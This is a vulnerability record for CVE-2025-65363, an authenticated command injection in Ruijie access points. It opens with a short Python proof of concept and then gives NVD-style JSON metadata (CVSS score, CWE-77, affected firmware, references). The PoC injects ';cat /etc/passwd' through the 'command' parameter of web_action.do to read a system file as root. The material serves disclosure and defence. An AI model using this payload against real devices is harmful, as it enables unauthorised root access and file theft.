CVE-2025-65363

import requests # CVE-2025-65363 PoC - Ruijie AP Command Injection # Target: Ruijie AP with AP_RGOS 11.1.x # Endpoint: web_action.do target_url = "http://<target_ip>/web_action.do" # Authentication (obtain valid session) login_data = { "username": "admin", "password": "<password>" } session = requests.Session() # session.post("http://<target_ip>/login.do", data=login_data) # Command Injection Payload - Read /etc/passwd payload = { "command": ";cat /etc/passwd" } response = session.get(target_url, params=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2025-65363", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:20.747", "lastModified": "2025-12-12T12:33:40.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authenticated append-style command-injection Ruijie APs (AP_RGOS 11.1.x) allows an authenticated web user to execute appended shell expressions as root, enabling file disclosure, device disruption, and potential network pivoting via the command parameter to the web_action.do endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ap720-l_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndIncluding": "11.1\\(9\\)B1P21", "matchCriteriaId": "F2D390D9-913D-44C4-A89D-2F41271BEC7C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ap720-l:-:*:*:*:*:*:*:*", "matchCriteriaId": "27A3D568-B5E3-4563-9789-3BEA7775173F"}]}]}], "references": [{"url": "http://rg-ap720-l.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://ruijie.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/tmogg/security-advisories/blob/main/CVE-2025-65363/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}